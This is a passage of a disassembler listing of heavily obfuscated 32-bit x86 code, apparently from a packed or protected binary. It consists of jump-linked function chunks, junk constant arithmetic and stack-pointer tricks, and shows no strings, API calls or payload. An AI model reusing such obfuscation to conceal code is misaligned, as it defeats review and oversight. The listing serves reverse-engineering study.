		mov	edi, esp
		add	edi, 4
		jmp	loc_5A5CBF
; END OF FUNCTION CHUNK	FOR sub_5AF18F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5A6336:				; CODE XREF: sub_5A77D5-211Ej
		add	edi, ebx
		jmp	loc_5A0777
; END OF FUNCTION CHUNK	FOR sub_5A77D5

; =============== S U B	R O U T	I N E =======================================



sub_5A633D	proc near		; CODE XREF: sub_599A61+1496Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059A412 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B4B7 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E73C SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2CEC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A3AF5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A6FB7 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AD0F1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AEDF4 SIZE 00000014 BYTES

		push	ebp
		jmp	loc_59E73C
sub_5A633D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF294


loc_5A6343:				; CODE XREF: sub_5AF294-EB4Ej
		shr	ecx, 5
		jnp	loc_59928B
		neg	ecx
		jz	loc_5A3C6F
		xor	ecx, 8AF4A4BFh
		jmp	loc_59ABE4
; END OF FUNCTION CHUNK	FOR sub_5AF294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A635F:				; CODE XREF: sub_5AA2D1-B049j
		sub	ecx, edi
		pop	edi
		push	ecx
		push	[esp-4+arg_4]
		pop	ecx
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		mov	[esp-8+arg_4], esi
		push	edx
		mov	edx, 618A59F5h
		mov	esi, edx
		pop	edx
		jmp	loc_5AE7D2
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A637F:				; CODE XREF: sub_5A0AA2-5B4Ej
		jmp	loc_59CCAB
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A6384:				; CODE XREF: sub_5A6BBC-2B85j
		mov	esp, [esp+0]
		movsx	ecx, al
		push	6A9h
		mov	[esp+0], ecx
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADD33


loc_5A6397:				; CODE XREF: sub_5ADD33-9A0Cj
		mov	esp, [esp+0]
		jmp	loc_5A8B60
; END OF FUNCTION CHUNK	FOR sub_5ADD33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A639F:				; CODE XREF: sub_59C979-2656j
		sub	edx, ebp
		mov	ebp, [esp+0Ah+var_A]
		jmp	loc_5A8A19
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 5C8C2853h
		push	1981h
		mov	[esp], ebp
		jmp	loc_5A2EBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A63BC:				; CODE XREF: sub_5AFA26-154DDj
					; sub_59C979+2055j
		add	ebp, ecx
		mov	ecx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, dword ptr [esp+2+var_2]
		pop	esp
		add	eax, ebp
		mov	ebp, [esp+0]
		jmp	loc_5A31E6
; END OF FUNCTION CHUNK	FOR sub_59C979

; =============== S U B	R O U T	I N E =======================================



sub_5A63DC	proc near		; CODE XREF: sub_5A6BBC+38B4j
					; sub_5992DA+14B05j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005991EB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059BF9E SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0059C12F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059C6D1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059C809 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059CA81 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059DEC6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059E65E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059E976 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005A01A7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A07C9 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A13D0 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 005A255B SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A300C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A3C4D SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A40AC SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A474E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A529C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A54E4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A57BC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A683D SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005A80C6 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AA257 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AADE9 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005AAE8F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB2D1 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AB6B3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AB9F3 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AC15F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AC6CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AD3DE SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AD99E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AF26B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AFDA2 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		mov	esi, esp
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		push	esi
		push	[esp+8+var_4]
		pop	esi
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		push	2F92h
		jmp	loc_5A683D
sub_5A63DC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6419:				; CODE XREF: sub_5AA2D1-870Cj
		mov	edi, [esp+0Ah+var_C+2]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+6+var_8+2]
		mov	esp, [esp+6+var_8+2]
		push	ecx
		mov	ecx, esp
		jmp	sub_59B442
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A643C:				; CODE XREF: sdfs____:005A1C08j
		jmp	loc_5A6DE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6441:				; CODE XREF: sub_59D6B8+70B8j
		jno	loc_5AEF0C
		or	edx, 3F6E7796h
		ja	loc_5AAAF1
		mov	ah, dl
		pop	ebx


loc_5A6456:				; CODE XREF: sub_5A35F6+5AEBj
		ja	loc_59DC72
		push	7C41h
		jmp	loc_5A8ACE
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
		jmp	loc_59CC3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599E58


loc_5A646B:				; CODE XREF: sub_599E58+F2ACj
		push	cx
		pushf
		jmp	loc_5AB0C5
; END OF FUNCTION CHUNK	FOR sub_599E58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6473:				; CODE XREF: sub_59D6B8+8E43j
		mov	eax, [esp+14h+var_14]
		jmp	loc_59B9A7
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DD36


loc_5A647B:				; CODE XREF: sub_59DD36+B60Aj
		push	edx
		mov	edx, 521C4903h
		and	ebx, edx
		pop	edx
		jmp	loc_5A4F05
; END OF FUNCTION CHUNK	FOR sub_59DD36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6489:				; CODE XREF: sub_59D6B8-1D90j
		mov	edx, ecx
		mov	ecx, [esp+0]
		push	ebp
		jmp	loc_5AE6DB
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================



sub_5A6494	proc near		; CODE XREF: sub_59BE17+8846j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005A181A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AAC98 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005AADA4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AC6DB SIZE 00000014 BYTES

		push	ebp
		mov	ebp, 4DAA6A0Bh
		mov	edx, ebp
		pop	ebp
		not	edx
		shr	edx, 2
		jmp	loc_5AAC98
sub_5A6494	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A64A7:				; CODE XREF: sub_59D6B8+7D79j
		pop	eax
		add	edi, ebx
		pop	ebx
		add	ecx, 6E231C84h
		add	ecx, edi
		sub	ecx, 6E231C84h
		jmp	loc_59CE7C
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A64BE:				; CODE XREF: sub_5AA2D1-7A93j
		xor	esi, 0B2CC54B5h
		jmp	loc_5A4385
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A64C9:				; CODE XREF: sub_5A477C-6E2Dj
		push	edi
		push	esi
		pop	edi
		mov	esi, [esp+0]
		add	esp, 4
		inc	edi
		sub	edi, 1
		add	edi, 6A276D03h
		and	edi, 6F4E6CB1h
		jmp	loc_5A7A01
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE824


loc_5A64E7:				; CODE XREF: sub_5AE824+894j
		add	esp, 4
		jmp	loc_5A403C
; END OF FUNCTION CHUNK	FOR sub_5AE824
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A64F2:				; CODE XREF: sub_59D6B8+929Dj
		neg	eax
		add	eax, 3B42DE6Dh
		mov	ecx, eax
		jmp	loc_5A6473
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A6500:				; CODE XREF: sub_59EE3E-346Aj
		add	ax, 2A0Bh
		jmp	loc_5A2B98
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3BFE


loc_5A6509:				; CODE XREF: sub_5A3BFE+6j
		push	edi
		mov	edi, 0
		sub	edi, ebx
		push	ebx
		push	edi
		pop	ebx
		jmp	loc_5A35AE
; END OF FUNCTION CHUNK	FOR sub_5A3BFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6519:				; CODE XREF: sub_5AA2D1-B329j
		pop	edx
		push	1
		jmp	loc_599A04
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A6524:				; CODE XREF: sub_5992DA+9DAj
		mov	ebp, eax
		pop	eax
		add	edx, 12765C9Eh
		add	edx, ebp
		jmp	loc_59C68E
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6534:				; CODE XREF: sub_5A477C+7251j
					; sub_5AA2D1+23EBj
		pop	ebp
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_59CB50
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE40A


loc_5A6546:				; CODE XREF: sub_5AE40A-674Bj
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		xor	esi, [esp+4+var_4]
		xor	[esp+4+var_4], esi
		xor	esi, [esp+4+var_4]
		pop	esp
		push	dword ptr [edi+eax*4]
		mov	eax, [esp+4+var_4]
		push	287Dh
		mov	[esp+8+var_8], ecx
		jmp	sub_5A5EFF
; END OF FUNCTION CHUNK	FOR sub_5AE40A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A580F


loc_5A656E:				; CODE XREF: sub_5A580F-4F6Ej
		and	eax, 9170D9Eh
		jg	loc_59FF64
		xor	eax, 43BD296Fh
		dec	eax
		jz	loc_5B0152
		mov	ah, 0C0h
; END OF FUNCTION CHUNK	FOR sub_5A580F
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6587:				; CODE XREF: sub_5AA2D1-109E2j
		pop	ecx
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, esp
		jmp	loc_5A9BD1
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A6595:				; CODE XREF: sub_5A6BBC-3BF9j
		push	[esp+4+var_4]
		pop	eax
		push	edx
		jmp	loc_5ABD29
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A659F:				; CODE XREF: sub_5A2E41-9269j
		pop	ebx
		jmp	sub_5A9D64
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A809B


loc_5A65A5:				; CODE XREF: sub_5A809B+53B8j
		mov	eax, 2
		add	ecx, eax
		pop	eax
		push	ecx
		jmp	loc_59FE9E
; END OF FUNCTION CHUNK	FOR sub_5A809B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5A65B3:				; CODE XREF: sub_5A16B8-8370j
		mov	ecx, 4
		jmp	loc_5A44CC
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5B27


loc_5A65BD:				; CODE XREF: sub_5A5B27+28D3j
		sub	eax, 0DD5DADCAh
		mov	esi, eax
		pop	eax
		sub	esi, 0FFFFFFFFh
		or	esi, 30317FB9h
		jmp	sub_5A3699
; END OF FUNCTION CHUNK	FOR sub_5A5B27

; =============== S U B	R O U T	I N E =======================================



sub_5A65D3	proc near		; DATA XREF: sdfs____:00599094o

var_8		= dword	ptr -8

		mov	ax, [esp+0]
		push	ebx
		push	esp
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		push	esi
		mov	esi, 7B5E1D77h
		jmp	loc_5A261B
sub_5A65D3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A65ED:				; CODE XREF: sub_5992DA+10A85j
		pop	edx
		xor	bl, 0F5h
		xor	ch, bl
		jmp	loc_5A991E
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A65F8:				; CODE XREF: sub_5B01F7-83EFj
		dec	ebx
		jg	loc_5AD8A9
		not	ebx
		push	ebp
		mov	ebp, 0CE62EF1h
		shl	ebp, 8
		shr	ebp, 8
		xor	ebp, 608C1B53h
		and	ebp, 6BF03B86h
		sub	ebp, 6D236EE1h
		add	ebx, ebp
		jmp	loc_59D002
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5A6626:				; CODE XREF: sub_5A9EBF-2116j
					; sub_5A9D64-CA0j
		jmp	loc_5AFDD7
; END OF FUNCTION CHUNK	FOR sub_5A9D64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A662B:				; CODE XREF: sub_5A79BE+45Bj
		jle	loc_5AE436
		xor	esi, 4C251592h
		jge	loc_5A821B
		shr	esi, 3
		jnz	loc_59DA02
		mov	esi, ebp
		pop	edx
; END OF FUNCTION CHUNK	FOR sub_5A79BE

; =============== S U B	R O U T	I N E =======================================



sub_5A6649	proc near		; CODE XREF: sub_5A9D64-2F08j

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		shl	eax, 6
		sub	eax, 1
		jmp	sub_59CC30
sub_5A6649	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE29C


loc_5A6666:				; CODE XREF: sub_5AE29C-9231j
		add	eax, 6792FF42h
		sub	ebp, 0D8D7323h
		jmp	loc_5A1E29
; END OF FUNCTION CHUNK	FOR sub_5AE29C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6676:				; CODE XREF: sub_5AA2D1-1E3Dj
		mov	esi, 63CC57B9h
		shr	esi, 8
		shl	esi, 5
		neg	esi
		shr	esi, 2
		push	edi
		mov	edi, 16EE4D24h
		jmp	loc_5A704B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6691:				; CODE XREF: sub_5A9D64-77D0j
					; sub_5B01F7-A6A0j ...
		add	ecx, esi
		sub	ecx, 5FF37664h
		sub	ecx, 56EC4E73h
		jmp	loc_5A4D15
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A66A4:				; CODE XREF: sub_5AA2D1-10C25j
		push	[esp-18h+arg_14]
		jmp	loc_5AB95F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B60


loc_5A66AC:				; CODE XREF: sub_5AA2D1-E8E4j
					; sub_5A3B60+8DC2j
		mov	ecx, 0
		jmp	loc_59929D
; END OF FUNCTION CHUNK	FOR sub_5A3B60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB82


loc_5A66B6:				; CODE XREF: sub_59DB82+9FE9j
		pop	[esp-4+arg_0]
		pop	esp
		jmp	loc_5A0FF2
; END OF FUNCTION CHUNK	FOR sub_59DB82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A66BF:				; CODE XREF: sub_5992DA+A251j
		mov	[esp+2Eh+var_2E], eax
		mov	eax, 7EF42054h
		push	esi
		mov	esi, 99636BCh
		and	eax, esi
		pop	esi
		push	ecx
		jmp	loc_5ADDB8
; END OF FUNCTION CHUNK	FOR sub_5992DA

; =============== S U B	R O U T	I N E =======================================



sub_5A66D6	proc near		; CODE XREF: sub_5A2166+1A14j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 005A0B29 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AC09F SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005AC286 SIZE 0000000B BYTES

		sub	esp, 4
		jmp	loc_5A0B29
sub_5A66D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_5A66E1	proc near		; DATA XREF: sdfs____:00599050o
		mov	ax, [esp+0]
		jmp	sub_5A7762
sub_5A66E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD213


loc_5A66EA:				; CODE XREF: sub_5AD213-5Dj
		mov	esp, [esp+8+var_8]
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5AD213
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABEF6


loc_5A66F2:				; CODE XREF: sub_5ABEF6-671Bj
		mov	ebp, 7B667646h
		xor	eax, ebp
		jmp	loc_5AA18B
; END OF FUNCTION CHUNK	FOR sub_5ABEF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B196


loc_5A66FE:				; CODE XREF: sub_59B196+10D09j
		add	esi, 1
		push	edx
		jmp	sub_59C2B8
; END OF FUNCTION CHUNK	FOR sub_59B196
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A670A:				; CODE XREF: sub_5AA2D1-2B2Aj
		push	155Fh
		mov	[esp-10h+arg_C], ecx
		push	esi
		jmp	loc_59F9EC
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A6718:				; CODE XREF: sub_5ADAE7-13631j
					; sub_5A477C:loc_5A1BB6j
		xor	edi, 12E524C4h
		shr	edi, 5
		add	edi, 2FE43820h
		push	edi
		pop	edx
		pop	edi
		sub	edx, 60642CB0h
		jno	loc_5AEBD7
		xor	edx, 17654B03h
		jo	loc_5AB442
		xor	al, 91h
		push	esp
; END OF FUNCTION CHUNK	FOR sub_5A477C
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6745:				; CODE XREF: sub_59D6B8+48BDj
		add	ebx, 4
		jmp	loc_5ABFC0
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A6750:				; CODE XREF: sub_59C979+2j
		mov	bh, 0EFh
		push	2AABh
		jmp	loc_5ADF64
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599A61


loc_5A675C:				; CODE XREF: sub_599A61+9527j
		not	edx
		add	edx, 10A15693h
		jz	loc_59EB44
		shl	edx, 2
		jns	loc_59F12E
		jmp	loc_5A39A0
; END OF FUNCTION CHUNK	FOR sub_599A61
; ---------------------------------------------------------------------------


loc_5A6778:				; CODE XREF: sdfs____:005ACB63j
		push	edx
		mov	edx, 62F07AA1h
		jmp	loc_5A7D8E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A6783:				; CODE XREF: sub_5A7BA0+71FEj
		mov	[esp+0], edi
		jmp	sub_59CC21
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A678B:				; CODE XREF: sub_5AA2D1:loc_5A5DD1j
		sub	dl, 0CDh
		add	dl, 56h
		push	dx
		mov	dl, 1Fh
		sub	al, dl
		jmp	loc_5A28D5
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------


loc_5A679C:				; CODE XREF: sdfs____:0059BEA2j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5AEDA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A06C1


loc_5A67A5:				; CODE XREF: sub_5A06C1-169j
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp+10h+var_10]
		pop	esp
		xor	edi, esi
		mov	esi, [esp+0Ch+var_C]
		jmp	loc_5AE9D3
; END OF FUNCTION CHUNK	FOR sub_5A06C1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A67C2:				; CODE XREF: sub_5992DA+B28Cj
		pop	eax
		push	esi
		mov	esi, 3C6D0D77h
		add	eax, esi
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		push	[esp-8+arg_4]
		jmp	loc_5A5F84
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A67D9:				; CODE XREF: sub_59C979+118D7j
		jnb	sub_5A6BBC
		sub	esp, 2
		mov	word ptr [esp+4+var_6+2], cx
		not	byte ptr [esp+4+var_6+2]
		mov	dl, 0Dh
; END OF FUNCTION CHUNK	FOR sub_59C979
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A67EE:				; CODE XREF: sub_59D6B8+8602j
		push	5A70h
		mov	[esp+0Ch+var_C], ebx
		push	ecx
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	edx, 24h
		jmp	loc_5A0E5B
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5A6810:				; CODE XREF: sub_59F4D2+D8B6j
		pop	esi
		sub	eax, ecx
		mov	ecx, [esp+8+var_8]
		jmp	loc_59DE59
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAFCA


loc_5A681B:				; CODE XREF: sub_5AAFCA+8j
		shr	dl, 3
		jmp	loc_5A4DD2
; END OF FUNCTION CHUNK	FOR sub_5AAFCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A6823:				; CODE XREF: sub_59C979+F62Fj
		xor	ecx, 6FA0062Bh
		push	edi
		mov	edi, 5F9175E2h
		inc	edi
		jmp	loc_5A6F05
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A6835:				; CODE XREF: sub_5B01F7-9F10j
		xor	ecx, ebp
		pop	ebp
		jmp	loc_59B519
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A63DC


loc_5A683D:				; CODE XREF: sub_5A63DC+38j
		mov	[esp+0], ebp
		push	edx
		push	ecx
		mov	ecx, 75503106h
		push	ecx
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		push	[esp+8+var_8]
		mov	ecx, [esp+0Ch+var_C]
		jmp	loc_5A13D0
; END OF FUNCTION CHUNK	FOR sub_5A63DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A6859:				; CODE XREF: sub_59C979+465j
		xor	bp, dx
		xor	dx, bp
		push	bp
		jmp	sub_599664
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5A6866:				; CODE XREF: sub_59A7E7+1277Aj
		pop	ebx
		xchg	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		sub	bl, al
		push	ecx
		jmp	loc_5A4BF9
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BAD3


loc_5A6875:				; CODE XREF: sub_59BAD3-284Dj
		pop	esp
		jmp	loc_59C86E
; END OF FUNCTION CHUNK	FOR sub_59BAD3

; =============== S U B	R O U T	I N E =======================================



sub_5A687B	proc near		; DATA XREF: sdfs____:0059907Co

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059B6B0 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AA03C SIZE 00000021 BYTES

		mov	cx, [esp+0]
		push	35Dh
		mov	[esp+4+var_4], eax
		mov	eax, esp
		jmp	loc_59B6B0
sub_5A687B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A688E:				; CODE XREF: sub_5A5EFF-87D1j
		neg	edx
		sub	esp, 4
		jmp	loc_59F87A
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A6898:				; CODE XREF: sub_5AA2D1-EF3Bj
					; sub_59D6B8:loc_59BB9Dj
		shl	ebx, 1
		xor	ebx, 3CDF702Dh
		jmp	loc_59D577
; END OF FUNCTION CHUNK	FOR sub_59D6B8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A68A5	proc near		; CODE XREF: sub_5A5648-9677j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0059ECC2 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A161C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A37EA SIZE 00000048 BYTES
; FUNCTION CHUNK AT 005AAE87 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB06E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AEBC4 SIZE 00000013 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_5A37EA
sub_5A68A5	endp ; sp-analysis failed

